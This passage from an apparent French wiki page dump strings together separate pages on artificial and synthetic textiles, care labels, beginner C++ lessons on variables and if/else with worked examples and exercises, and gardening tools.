utilisés, on appelle ces textiles : viscose (lessive de soude) ou acétate (acide acétique). Quand le fil est continu comme la soie, on l’appelle rayonne. On peut également le couper en fibres courtes que l’on file ensuite comme la laine ou le coton et l’on obtient un fil plus gonflant qu’on appelle fibranne. Pour mieux concurrencer les bas et tissus de soie, les fabricants de la viscose prétendaient l’appeler soie artificielle, alors qu’elle n’en avait que la finesse. Sa composition à base de cellulose la rapprochait plutôt du coton. Les fabricants de soie obtinrent l’interdiction de cette fausse appellation. Néanmoins, le prix moins élevé de ces textiles les a fait largement utiliser pour les acheteurs moins riches. == '''Les textiles synthétiques''' == Alors que les textiles artificiels transforment par la chimie des produits de base naturels (coton, bois), les textiles synthétiques sont produits uniquement par la mélange de produits chimiques (provenant généralement du pétrole, du charbon ou du recyclage des plastiques). Souvent ces textiles possèdent deux noms : celui qui indique leur composition chimique et la marque donnée par le fabricant, mais plusieurs fabricants peuvent produire des textiles du même type. Il existe 4 types de textiles synthétiques : - les polyamides (marques : Nylon, Rilsan, etc.) - les acryliques (marques ; Crylor, Courtelle, etc.) - les polyesters (marques : Tergal, Dacron, etc.) - les chlorofibres (marques : Rhovyl, Thermolactyl, etc.) Ces différents textiles ont été créés pour leur solidité, leur facilité d’entretien, leur infroissabilité, etc. Mais comme ils ne possèdent pas forcément toutes les qualités demandées pour chaque type de vêtement, il est fréquent des les mélanger entre eux ou avec des textiles naturels, comme le coton, la laine ou la soie. Mais comme toutes les fibres ne supportent pas les mêmes températures de lavage ou de repassage, il est important de bien lire les étiquettes. == '''Savoir lire les étiquettes''' == Pour ne pas être trompé sur la marchandise et ne pas faire d’erreur au moment du nettoyage ou du repassage, il faut lire attentivement les étiquettes. Tous les renseignements ne se trouvent peut-être pas sur la même étiquette de tissu cousue à l’intérieur du vêtement. D’abord la taille : l’âge entre 2 et 16 ans. Pour les adultes, la mesure indiquée en chiffres ou en lettres : S = petite taille, M = moyenne, XL = grande, XXL = très grande taille. La fibre utilisée (par exemple, pure laine vierge ou 100% coton) ou l’indication des fibres mélangées. Normalement, on devrait préciser le pourcentage de chaque. Puis les indications de nettoyage : une bassine indique la température de l’eau (s’il contient une main, cela signifie lavage à la main seulement) ; un triangle concerne l’eau de javel (s’il est marqué d’une croix, ne pas en utiliser) ; un fer à repasser (s’il est barré, le tissu ne supporte pas le repassage) ; un cercle contenant un P indique qu’on peut ou non faire un nettoyage à sec ; enfin, un carré contenant un cercle signifie : lavage en machine (s’il est barré, il ne faut pas l’utiliser pour ce vêtement). == '''Pour reconnaître le type de fibre textile''' == Quand on n’a aucune indication, il est possible d’en avoir une idée en faisant brûler, avec prudence, à la flamme d’une bougie, un brin de cette fibre que l’on tient avec une pince. Si la fibre s’enflamme, il s’agit d’une fibre végétale ou artificielle (c’est la cellulose qui brûle). Si la fibre grésille sans s’enflammer et sent la corne brûlée, il s’agit d’une fibre animale (c’est la kératine des poils qui sent en brûlant). Si la fibre fond et forme une goutte à son extrémité, il s’agit d’une fibre synthétique, de même nature que le plastique. Seul le polyesther brûle de façon saccadée en laissant des cendres dures. == '''Pour en savoir plus sur le même thème''' == On peut consulter : '''Vêtements''' (pourquoi s’habille-t-on?) ; '''Fils et tissus''' ; '''Costumes''' (leur évolution au cours des siècles) ; '''Mode sous Louis XIV''' Vérification du niveau d'huile 6468 28705 2006-01-11T20:01:13Z Pulsar1 149 [[Vérification du niveau d'huile]] déplacé vers [[Vérification du niveau d'huile moteur]]: plusieur organe sont lubrifié à l'huile dans une automobile #REDIRECT [[Vérification du niveau d'huile moteur]] Programmation C++ (débutant)/Notion de variable 6472 41964 2006-05-11T15:05:36Z 82.238.146.168 /* EXERCICE 2 */ {{C++ débutant}} == Le cours du chapitre 2 : la notion de variable == __TOC__ <ol> <li>'''Les variables ''' <br/> Une variable est un certain endroit en mémoire permettant de stocker une valeur. En C++, les variables sont typées : elles contiennent soit un entier, un réel, un caractère, … Le type va exprimer la nature des données contenues dans notre variable. Les variables portent un nom appelé identificateur. <br/> &nbsp; </li> <li> '''Déclaration des variables'''<br/> Avant d’utiliser une variable, il faut la déclarer, c'est-à-dire fournir son nom et son type. La déclaration d'une variable est obligatoire. Le nom de la variable s'appelle l'identificateur. Le type de la variable indique la nature des données que va contenir cette variable : un entier, un réel, un caractère,…<br/> '''Syntaxe de la déclaration :''' type identificateur ;<br/> '''Exemple :''' int a; <br/> Cette déclaration déclare une variable a de type int. <br/> &nbsp; </li> <li>'''Intérêt de la déclaration''' <br/> La déclaration des variables permet au programmeur d'indiquer la nature des données qui vont être stockées dans ces variables. Loin d'être un handicap, la déclaration permet d'éviter de nombreux bugs. Il s'agit d'un garde-fou qui évite au programmeur de nombreuses erreurs. <br/> &nbsp; </li> <li>'''Initialisation des variables '''<br/> En C++, les variables ont une valeur quelconque après leur déclaration. Le programmeur doit donc initialiser les variables de son programme, sinon elles contiendront n'importe quoi. L'oubli d'initialisation d'une variable est un bug très fréquent. <br/> &nbsp; </li> <li>'''Identificateurs valides'''<br/> Un identificateur est constitué d'une suite des lettres, de chiffres et _ (underscore). Un identificateur ne peut pas commencer par un chiffre. Il ne peut pas contenir d'espaces, ni contenir le caractères -. Il doit être explicite c'est-à-dire qu'il doit être en rapport avec ce que contient la variable. Si une variable contient le prix d'un kg de tomates, on va appelé notre identificateur prix_tomate par exemple. <br/> &nbsp; </li> <li>'''Le type int '''<br/> Il s'agit d'un type de base prédéfini dans le langage C++. Il permet de manipuler des entiers positifs ou négatifs. En géneral sur 32 bits : les données sont représentées en complément à 2. On peut alors représenter tous les entiers de -2^31 à 2^31-1. Le nombre de bits et le système de représentation des données n'est pas déterminée en C++, ce qui pose de gros problème de portabilité des programmes. La manipulation des entiers est exacte sans erreur de calcul ! <br/> &nbsp; </li> <li>'''L'affectation '''<br/> L'affectation permet d'effectuer des calculs et de transférer le résultat dans une certaine variable. <br/>Syntaxe : identificateur= expression ; <br/>On commence par évaluer l’expression. On met le résultat dans la variable identificateur.L'écriture d'une valeur dans une varible remplace la valeur précédente qui est "écrasée". Il doit y avoir une correspondance des types. <br/> &nbsp; </li> <li>''' Exemple 1 : utilisation d'une variable entière'''<br/> <br/> &nbsp; <pre> #include <iostream> using namespace std; int main() { int a; a=80+20; cout<<"La valeur de a est : "<<a<<endl; return 0; } </pre> <ul> <li> Dans cet exemple, nous déclarons une variable entière a grâce à la déclaration ''' int a;'''. </li> <li>Nous utilisons ensuite l'affectation pour mettre dans a le résultat de l'expression 80+20, c'est-à-dire 100. </li> <li> Nous affichons alors la valeur de a grâce à cout. </li> <li>'''Exécution de l'exemple 1 '''<br/> Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>La valeur de a est 100 </ul> <br/> &nbsp; </li> <li>'''Exemple 2 : incrémentation d'une variable'''<br/> <pre> #include <iostream> using namespace std; int main() { int a; a=80; a=a+1; cout<<"La valeur de a est : "<<a<<endl; return 0; } </pre> <ul> <li>L'expression a=a+1; peut paraître étrange : elle permet d'augmenter de 1 la valeur de a; a vaut 80 avant l'exécution de cette instruction. a vaut 81 après cette exécution. </li> <li>A la place de a=a+1; , on peut également écrire a++;.</li> <li>'''Exécution de l'exemple 2 '''<br/> Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>La valeur de a est 81 <br/> &nbsp; </li> </ul> <li>'''Exemple 3 : utilisation de plusieurs variables'''<br/> <pre> #include <iostream> using namespace std; int main() { int a,bb=9,c80; a=80; a++; bb=bb+a; c80=bb-10; cout<<"La valeur de a est : "<<a<<endl; cout<<"La valeur de bb est : "<<bb<<endl; cout<<"La valeur de c80 est : "<<c80<<endl; return 0; } </pre> <ul> <li> Dans ce nouvel exemple, nous déclarons dans un premier temps 3 variables a,bb et c80. </li> <li> Nous effectuons différentes affectations sur ces variables. </li> <li>Nous affichons finalement le contenu final de ces variables. </li> <li> '''Exécution de l'exemple 3''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>La valeur de a est 81 <br/>La valeur de bb est 90 <br/>La valeur de c80 est 80 </ul> <br/> &nbsp; </li> <li>'''Différentes opérations '''<br/> <br/>On peut additionner 2 entiers grâce à l'opérateur +. <br/>On peut soustraire 2 entiers grâce à l'opérateur -. <br/>On peut multiplier 2 entiers grâce à l'opérateur *. <br/>On peut diviser 2 entiers grâce à l'opérateur /. Il y a alors arrondi par troncature du résultat. <br/>On peut calculer le reste de la division de a par b grâce à l'opérateur % <br/> &nbsp; </li> <li>'''Exemple 4 : utilisation de différentes opérations'''<br/> <pre> #include <iostream> using namespace std; int main() { int a=10, b=20,c,d,e,f; c=a+b; d=a*c; d=d-80; e=d/7; f=e%4; cout<<"La valeur de f est : "<<f<<endl; return 0; } </pre> Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>La valeur de f est 3 <br/> &nbsp; </li> <li>'''cin'''<br/> Il s’agit du flux d ’entrée du programme. Par défaut le flux d'entrée d'un programme en C++ provient du clavier. En pratique, le cin permet d’envoyer le contenu de ce qui est saisit au clavier dans une variable.<br/> '''Exemple : '''cin>>i; <br/> Lorsque le programme exécute cette instruction, le programme s'arrête et attend que l'utilisateur tape au clavier une valeur entière. Lorsque l'utilisateur appuiera sur entrée la valeur tapée ira dans la variable i. <br/> &nbsp; </li> <li>'''Exemple 5 : utilisation de cin '''<br/> <pre> #include <iostream> using namespace std; int main() { int a; cout<<"Tapez la valeur de a : "; cin>>a; a=a+10; cout<<"La valeur de a est : "<<a<<endl; return 0; } </pre> <ul> <li>Dans cet exemple, nous déclarons une variable a.</li> <li>Nous saisissons ensuite au clavier la valeur de a.</li> <li>Nous effectuons un calcul sur cette variable.</li> <li>Nous affichons ensuite la valeur finale de a.</li> <li>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez la valeur de a : '''80''' <br/>La valeur de a est 90. <br/>'''Remarque : '''dans cet exemple, l'utilisateur a choisi de taper la valeur 80 pour a. </li></ul> <br/> &nbsp; </li> <li> '''Le type double '''<br/> Le type double est un autre type prédéfini du langage C++. Il permet de stocker un réel. En général sur 64 bits, le format de représentation est souvent le format IEEE754. La taille et le système de représentation n'est pas imposé par le langage. Chaque opération peut être entachée d’une minuscule erreur de calcul. La propagation de cette erreur de calcul peut devenir dramatique ! </li> <br/> &nbsp; </li> <li>'''Exemple 6 : utilisation du type double'''<br/> <pre> #include <iostream> using namespace std; int main() { double a,b,moy; cout<<"Tapez une valeur réelle : ";cin>>a; cout<<"Tapez une valeur réelle : ";cin>>b; moy=(a+b)/2; cout<<"la moyenne des 2 réels est : " <<moy<<endl; return 0; } </pre> <ul> <li> Dans ce programme, on demande à l'utilisateur de taper successivement 2 valeurs réelles a et b.</li> <li> On calcule dans la variable moy la moyenne de a et de b.</li> <li>On affiche ensuite cette moyenne. </li> <li>'''Exécution de l'exemple 6''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez une valeur réelle : '''6.4''' <br/>Tapez une valeur réelle : '''3.2''' <br/>La moyenne des 2 réels est : 4.8 <br/> &nbsp; </li> </ul> <br/> &nbsp; </li> <li>'''Compatibilité int-double'''<br/> Les int et les double ne sont pas du tout représentés de la même manière.On peut sans problème copier un int dans un double : <pre> int a; double b; b=a; </pre> Pour mettre un double dans un int, il faut utiliser ce qu'on appelle un cast : on demande explicitement au compilateur de transformer le double en int et il y a alors troncature du double : <pre> int a; double b; a=(int)b; </pre> <br/> &nbsp; </li> <li>'''Exemple 7 : mettre un int dans un double''' <pre> #include <iostream> using namespace std; int main() { int a; double b; cout<<"Tapez une valeur entiere : "; cin>>a; b=a; cout<<"La valeur de b vaut : "<<b<<endl; return 0; } </pre> <ul> <li>Dans ce programme, on déclare une variable entière (de type int) a et une variable réelle (de type double) b.</li> <li>On demande à l'utilisateur de saisir la valeur de a.</li> <li>On met la valeur de a dans la variable b : cette opération s'effectue sans cast.</li> <li>On affiche ensuite la valeur de b.</li> <li>'''Exécution de l'exemple 7'''<br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez une valeur entière : '''18''' <br/>La valeur de b vaut : 18 </li> </ul> <br/> &nbsp; </li> <li>'''Exemple 8 : mettre un double dans un int '''<br/> <pre> #include <iostream> using namespace std; int main() { double a; int b; cout<<"Tapez une valeur réelle : "; cin>>a; b=(int)a; cout<<"La valeur de b vaut : "<<b<<endl; return 0; } </pre> <ul> <li> Dans ce programme, on déclare une variable réelle (de type double) a et une variable entière (de type int) b.</li> <li> On demande à l'utilisateur de saisir la valeur de a.</li> <li> On met la valeur de a dans la variable b : cette opération s'effectue avec un cast. Il y aura troncature de la valeur de a.</li> <li> On affiche ensuite la valeur de b. </li> <li>'''Exécution du l'exemple 8'''<br/> <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez une valeur entière : '''6.78''' <br/>La valeur de b vaut : 6 </ul> <br/> &nbsp; </li> <li>'''Les commentaires'''<br/> Il est recommandé d'inclure dans tout programme des commentaires permettant de rendre le programme plus facilement compréhensible. Un programme doit être compréhensible par un autre programmeur : dans 6 mois, vous aurez oublié comment marche votre programme ou un autre programmeur peut être amené à le modifier.Le compilateur ne tient pas compte de tout ce qui est en commentaire !<br/> Les commentaires se présentent sous 2 formes: <ul> <li>Commentaires sur plusieurs lignes commençant par /* et finissant par */. <br/>/*kkkkkkk JJJJJJJJJJJJJJ*/</li> <li>Commentaires sur une seule ligne commençant par // <br/>// kkkkkkkkkkkkkkkkkk </li> </ul> <br/> &nbsp; </li> <li> '''Exemple 9 : les commentaires'''<br/> <pre> /**************************************** MON PROGRAME AUTEUR : MOI *****************************************/ #include <iostream> using namespace std; int main() { double a; int b; // Saisie de la variable a cout<<"Tapez une valeur réelle : "; cin>>a; // On met a dans un entier b=(int)a; /* Affichage*/ cout<<"La valeur de b vaut : "<<b<<endl; return 0; } </pre> <br/> &nbsp; </li> </ol> == Exercices du chapitre 2 == ===EXERCICE 1 === Ecrire un programme qui demande à l'utilisateur de taper la largeur et la longueur d'un champ et qui en affiche le périmètre et la surface. {{Boîte déroulante|titre=Solution|contenu = <pre> #include<iostream> using namespace std; int main() { double largeur,longueur,surface, perimetre; cout<<"Tapez la largeur du champ : ";cin>>largeur; cout<<"Tapez la longueur du champ : ";cin>>longueur; surface=largeur*longueur; perimetre=2*(largeur+longueur); cout<<"La surface vaut : "<<surface<<endl; cout<<"Le perimetre vaut : "<<perimetre<<endl; return 0; } </pre> }} ===EXERCICE 2 === Ecrire un programme qui demande à l'utilisateur de taper 5 entiers et qui affiche leur moyenne. Le programme ne devra utiliser que 2 variables. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *Calcul d'une moyenne. *Utilisation des types int et double. *L'utilisation de cin et de cout. *L'affectation. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int a;double s=0; cout<<"Tapez la valeur numero 1 : ";cin>>a;s=s+a; cout<<"Tapez la valeur numero 2 : ";cin>>a;s=s+a; cout<<"Tapez la valeur numero 3 : ";cin>>a;s=s+a; cout<<"Tapez la valeur numero 4 : ";cin>>a;s=s+a; cout<<"Tapez la valeur numero 5 : ";cin>>a;s=s+a; s=s/5.0; cout<<"La moyenne vaut : "<<s<<endl; return 0; } </pre> }} ===EXERCICE 3 === Ecrire un programme qui demande à l’utilisateur de saisir 2 entiers A et B, qui échange le contenu des variables A et B puis qui affiche A et B. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *L'utilisation de cin et de cout. *L'affectation. *Un "algorithme" rudimentaire : échanger le contenu de 2 variables. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { double a,b,temp; cout<<"Tapez la valeur de a : ";cin>>a; cout<<"Tapez la valeur de b : ";cin>>b; temp=a; a=b; b=temp; cout<<"La valeur de a est "<<a<<endl; cout<<"La valeur de b est "<<b<<endl; return 0; } </pre> }} ===EXERCICE 4 === Ecrire un programme qui demande à l'utilisateur de taper le prix HT d'un kilo de tomates, le nombre de kilos de tomates achetés, le taux de TVA (Exemple 5.5, 19.6,...). Le programme affiche alors le prix TTC des marchandises {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *Le choix d'identificateurs pertinents et explicites. *L'utilisation de cin et de cout. *L'affectation. *Modélisation d'un problème "économique". Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { double prixht,poids,tva,total; cout<<"Tapez le prix HT d'un kilo de tomates : ";cin>>prixht; cout<<"Combien de kilos avez-vous achetes : ";cin>>poids; cout<<"Quel est le taux de TVA : ";cin>>tva; total=(1+tva/100)*prixht*poids; cout<<"Le prix TTC est : "<<total<<endl; return 0; } </pre> }} ===EXERCICE 5 === Ecrire un programme qui demande à l’utilisateur de saisir les coordonnées de deux points du plan A et B et qui affiche la distance entre A et B. <br/> Indication 1 : on pourra utiliser le théorème de Pythagore.<br/> Indication 2 : dans le fichier include cmath, il y a une fonction sqrt qui calcule la racine carrée.<br/> Exemple d’utilisation : x = sqrt(y)<br/> x et y doivent être des double.<br/></pre> {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *L'utilisation de cin et de cout. *L'affectation. *Utilisation de variables explicites. *Utilisation de la bibliothèque math.h. *Modélisation d'un problème issu de la géométrie sous forme informatique. Voici le fichier source : <pre> #include<iostream> using namespace std; #include<cmath> int main() { double XA,YA,XB,YB,dx,dy,distance; cout<<"Tapez l'abscisse de A : ";cin>>XA; cout<<"Tapez l'ordonnée de A : ";cin>>YA; cout<<"Tapez l'abscisse de B : ";cin>>XB; cout<<"Tapez l'ordonnée de B : ";cin>>YB; dx=XA-XB; dy=YA-YB; distance=sqrt(dx*dx+dy*dy); cout<<"La distance AB est : "<<distance<<endl; return 0; } </pre> }} sqrt:fonction racine carré Wikiversité:Département informatique 6473 34586 2006-02-24T22:05:31Z Epommate 705 +en {{Département Informatique}} {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#E0E0F0" align="center" colspan="2" | {| width="100%" bgcolor="#E0E0F0" |- | bgcolor="#E0E0F0" valign="middle" width="90%" align="center" | <font size="+1">Département informatique de la [[Wikiversité]]</font> |- |} |- bgcolor="lightyellow" valign="top" colspan="2" | {{Sous section|nom=Département informatique/Accueil|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | |- |} |- |} [[en:Wikiversity:School of Computer Science]] Outils de jardinage 6474 33930 2006-02-21T22:46:30Z 212.194.72.13 /* Arrosage */ {{EnTravaux}} Pour travailler au jardin potager ou au jardin floral, il faut des vêtements adéquats qui ne craignent ni les taches de terre ni les taches de verdure. En fonction des travaux à effectuer, il faut impérativement porter des [[w:Chaussure|chaussures de sécurité]], pour être protégé des coupures accidentelles causées par les outils tranchants tels que bêches, pioches, etc... ainsi que des [[w:Gant|gants]] en cuir véritable pour se protéger des coups de serpette par exemple. Si vous êtes très intéressé par le jardinage, vous pouvez contacter une association des [[w:Jardins Familiaux|Jardins Familiaux]] de votre région, ou encore louer ou demander à vos voisins s'il n'existe pas dans la commune une petite parcelle privée à entretenir moyennant une utilisation personnelle. Quoiqu'il en soit le terrain doit être bien ensoleillé et dégagé pour le transport des différents produits ou outils encombrants. D'une façon générale il vaut mieux choisir des outils simples et robustes plutôt que les instruments plus ou moins sophistiqués ou les gadgets que l'on trouve à profusion dans les grandes surfaces. Les outils doivent être nettoyés et huilés à l'approche de l'hiver. Ils doivent être remisés à l'abri de la pluie pour une meilleure et indispensable conservation. [[Image:Compiegne Parc.jpg|thumb|right|220px|Jardin floral]] == Préparation du sol == [[Image:Hark (rake).jpg|thumb|right|120px|Un râteau]] * Une [[bêche]] * Une [[fourche]] * Une [[fourche bêche]] * Une [[w:Houe|houe]] * Un [[w:râteau|râteau]] * Une [[serfouette]] * Une [[w:Binette (outil)|binette]] * Un [[w:Croc (outil)|croc]] * Une [[w:griffe|griffe]] * Une [[w:Batte à semis |batte]] == Disposition des plants == * Un [[w:Plantoir|plantoir]] * Un [[w:Transplantoir|transplantoir]] * Un [[w:Cordeau|cordeau]] == Arrosage == * Un [[w:Arrosoir|arrosoir]] * Un [[w:Tuyau|tuyau d'arrosage]] * Un [[w:Goutte-à-goutte|goutte à goutte]] == Transport == * Une [[w:Brouette|brouette]] * Un [[w:Panier|panier à légumes]] == Parasites == * Un [[w:Pulvérisateur|pulvérisateur]] * Une [[w:Poudreuse|poudreuse]] * Une [[w:Sulfateuse|sulfateuse]] == Arbres == * [[w:Cisaille|Cisaille]] * [[w:Sécateur|Sécateur]] * [[w:Greffe (botanique)|Greffoir]] * [[w:Faux (outil)|Serpette]] == Protection == * [[w:Cloche|Cloche]] * [[w:Serre|Serre]] * [[w:Châssis|Châssis]] * [[w:Châssis|Bâche plastique]] == Protection personnelle == * [[w:Gant|Gants]] * [[w:Vêtement|Vêtements]] * [[w:Chaussure|Chaussures]] == Pelouses == * [[W:Tondeuse à gazon|Tondeuse]] * [[w:Râteau|Ramasse feuilles]] * [[w:Scarificateur|Scarificateur]] * [[w:Chaussure|Chaussures à clous]] * Une [[W:Faux (outil)|faux]] [[catégorie:Jardinage]] Bêche 6477 29172 2006-01-17T16:54:27Z Zivax 1021 Bandeau [[Catégorie:Outil de jardinage]] {{ébauche}} Une bêche est un outil de jardin servant à retourner et ameublir la terre. Cet outil comporte un manche d'environ 1,30 mètre, le plus souvent en bois qui possède en son extrémité (emmanché en force et bloqué à l’aide d’un coin) une lame en acier trempé, large et plate d'environ 25x30 centimètres. Fourche bêche 6478 29358 2006-01-19T15:04:29Z Jean-Jacques MILAN 114 ortho et complément [[Catégorie:Outil de jardinage]] {{ébauche}} Une '''fourche bêche''' est un outil de jardin servant à retourner et ameublir la terre dure. Cet outil comporte un manche d'environ 1,30 mètre, le plus souvent en bois qui possède en son extrémité (emmanché en force et bloqué à l’aide d’un coin) des dents droites ou triangulaires en acier trempé, de section carrée ou trapézoïdale, au nombre de quatre ou cinq. Cet outil travaille par enfoncement et poussée lente pour morceler le sol et émietter la terre épaisse. Il est plus facile à utiliser que la bêche normale dans les terres lourdes ou caillouteuses et il a l'avantage, lors d'une transplantation d'arbuste, de moins endommager les racines. Programmation C++ (débutant)/Instructions if, if...else et switch 6480 44835 2006-06-17T12:01:54Z Ben25 1651 /* EXERCICE 9 */ {{C++ débutant}} ==Le cours du chapitre 3 : le if, le if...else et le switch== __TOC__ === Les structures de contrôle === Ce sont des structures permettant d'exécuter certaines instructions de manière conditionnelle ou répétitive. Nous verrons dans ce chapitres les structures de contrôles de type conditionnelles :<br/> Le if, le if else, le switch === Le if === Cette structure de contrôle permet d'exécuter une instruction ou une suite d'instructions seulement si une condition est vraie. <br/>'''Syntaxe : '''if(condition) instruction; <br/>On évalue la condition, <br/>- si elle est vraie on exécute l’instruction et on passe à l ’instruction suivante <br/>- si elle est fausse on passe directement à l ’instruction suivante <br/>L ’instruction peut être remplacée par une suite d ’instructions entre accolades === Les conditions === Les conditions habituelles sont utilisables : <ul> <li>if(a>b)… strictement supérieur à <li>if(a>=b)…. supérieur ou égal à <li>if(a<b)…. strictement inférieur à <li>if(a<=b)… inférieur ou égal à <li>if(a==b)… test d'égalité <li>if(a!=b)…. différent de </ul> === Une erreur classique === Pour effectuer un test d'égalité, il faut utiliser 2 fois le symbole =.<br/> Par exemple :<br/> if(a==b)…<br/> Une erreur classique consiste à écrire :<br/> if(a=b)… === Exemple 1 : utilisation du if === {{Cadre code|''Exemple 1'' : utilisation du '''if'''| <pre> #include <iostream> using namespace std; int main() { int a; cout << "Tapez la valeur de a : "; cin >> a; if (a > 10) cout << "Gagné !" << endl; cout << "Le programme est fini" << endl; return 0; } </pre> }} <ul> <li> Ce programme demande à l'utilisateur de saisir une valeur entière a. <li> Si la valeur tapée est strictement supérieure à 10 on affiche "Gagné" puis "Le programme est fini" et le programme s'arrête. <li>Dans le cas contraire, on affiche uniquement "le programme est fini" et le programme s'arrête. <li>'''Exécution de l'exemple 1 n°1'''<br/> Lorsqu'on exécute notre programme, il s'affiche à l'écran :<br/> Tapez la valeur de a : '''80'''<br/> Gagné<br/> Le programme est fini <br/> <li>'''Exécution de l'exemple 1 n°2''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez la valeur de a : '''8''' <br/>Le programme est fini <li>'''Exécution de l'exemple 1 n°3''' <br/>Tapez la valeur de a : '''10''' <br/>Le programme est fini </ul> ===Le if ... else === Cette structure de contrôle permet d'exécution soit l'instruction1, soit l'instruction 2 en fonction du résultat d'une condition. <br/>Syntaxe : if(condition) instruction1; else instruction2; <br/>1)On évalue la condition, <br/>2) si elle est vraie, on exécute l ’instruction1 et on passe à l ’instruction suivante <br/>3) si elle est fausse, on exécute l ’instruction2 et on passe à l ’instruction suivante <br/>L’instruction1 ou l ’instruction2 peuvent être remplacées par une suite d ’instructions entre accolades . === Exemple 2 :Utilisation du if ...else=== {{Cadre code|''Exemple 2'' : utilisation du '''if... else'''| <pre> #include <iostream> using namespace std; int main() { int a; cout<<"Tapez la valeur de a : "; cin>>a; if(a>10)cout<<"Gagné !"<<endl; else cout<<"Perdu"<<endl; cout<<"le programme est fini"<<endl; return 0; } </pre> }} <ul> <li>Ce programme demande à l'utilisateur de saisir une valeur entière a. <li>Si la valeur tapée est strictement supérieure à 10, on affiche "Gagné" puis "Le programme est fini" et le programme s'arrête. <li>Dans le cas contraire, on affiche "Perdu" puis "Le programme est fini" et le programme s'arrête. <li>'''Exécution de l'exemple 2 n°1''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez la valeur de a : 80 <br/>Gagné <br/>Le programme est fini <li>'''Exécution de l'exemple 2 n°2''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez la valeur de a : 5 <br/>Perdu <br/>Le programme est fini <li>'''Exécution de l'exemple 2 n°3''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez la valeur de a : 10 <br/>Perdu <br/>Le programme est fini </ul> ===Les conditions complexes === Il est souvent nécessaire d'écrire des conditions assez compliquées. Il faudra alors utiliser le ET logique, le OU logique et le NON logique. Il faudra une certaine habitude pour ne pas confondre ces différents opérateurs. === Le ET logique === '''Syntaxe : '''condition1 && condition2<br/> === Exemple 3 : utilisation du ET logique === {{Cadre code|''Exemple 3'' : utilisation du '''ET logique'''| <pre> #include <iostream> using namespace std; int main() { int a; cout<<"Tapez une valeur entière : "; cin>>a; if(a>10 && a<20)cout<<"GAGNE"<<endl; else cout<<"PERDU"<<endl; return 0; } </pre> }} <ul> <li>Dans ce programme, on demande à l'utilisateur de taper une variable entière a. <li>Si la valeur tapée est comprises entre 11 et 19 bornes incluses on affiche "GAGNE". <li>Dans le cas contraire, on affiche "PERDU". <li>'''Exécution de l'exemple 3 n°1''' <br/> Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/> Tapez une valeur entière : 8 <br/> PERDU <li>'''Exécution de l'exemple 3 n°2''' <br/> Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/> Tapez une valeur entière : 15 <br/> GAGNE <li>'''Exécution de l'exemple 3 n°3''' <br/> Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/> Tapez une valeur entière : 20 <br/> PERDU </ul> === Le OU logique === '''Syntaxe : '''condition1 ||condition2<br/> '''Rappel sur le OU logique:'''<br/> VRAI OU VRAI = VRAI<br/> VRAI OU FAUX = VRAI<br/> FAUX OU VRAI = VRAI<br/> FAUX OU FAUX = FAUX<br/> === Exemple 4 : Utilisation du OU logique === {{Cadre code|''Exemple 4'' : utilisation du '''OU logique'''| <pre> #include <iostream> using namespace std; int main() { int a; cout<<"Tapez une valeur entière : "; cin>>a; if( a<3 || a>20 )cout<<"GAGNE"<<endl; else cout<<"PERDU"<<endl; return 0; } </pre> }} <ul> <li> Dans ce programme, on demande à l'utilisateur de taper une variable entière a. <li> Si la valeur tapée est strictement plus petite que 3 on affiche "GAGNE". <li> Si la valeur tapée est strictement plus grande que 20 on affiche "GAGNE". <li> Dans le cas contraire, on affiche "PERDU". <li>'''Exécution de l'exemple 4 n°1''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez une valeur entière : -6 <br/>GAGNE <li>'''Exécution de l'exemple 4 n°2''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez une valeur entière : 3 <br/>PERDU <li>'''Exécution de l'exemple 4 n°3''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez une valeur entière : 21 <br/>GAGNE </ul> ===Le NON logique === '''Syntaxe : '''!(condition)<br/> '''Rappel sur le NON logique : '''<br/> ! VRAI=FAUX<br/> !FAUX=VRAI<br/> === Exemple 5 : Utilisation du NON logique === {{Cadre code|''Exemple 5'' : utilisation du '''NON logique'''| <pre> #include <iostream> using namespace std; int main() { int a; cout<<"Tapez une valeur entière : "; cin>>a; if(!(a<3||a>20))cout<<"GAGNE"<<endl; else cout<<"PERDU"<<endl; return 0; } </pre> }} <ul><li> Dans ce programme, on de mande à l'utilisateur de taper une valeur entière a. <li>Si la condition assez complexe (!(a<3||a>20) est vraie on affiche "GAGNE" sinon on affiche "PERDU". <li>En fait, on affichera "GAGNE" si a est compris entre 3 et 20 bornes incluses. <li>'''Exécution de l'exemple 5 n°1''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez une valeur entière : 2 <br/>PERDU <li>'''Exécution de l'exemple 5 n°2''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez une valeur entière : 20 <br/>GAGNE <li>'''Exécution de 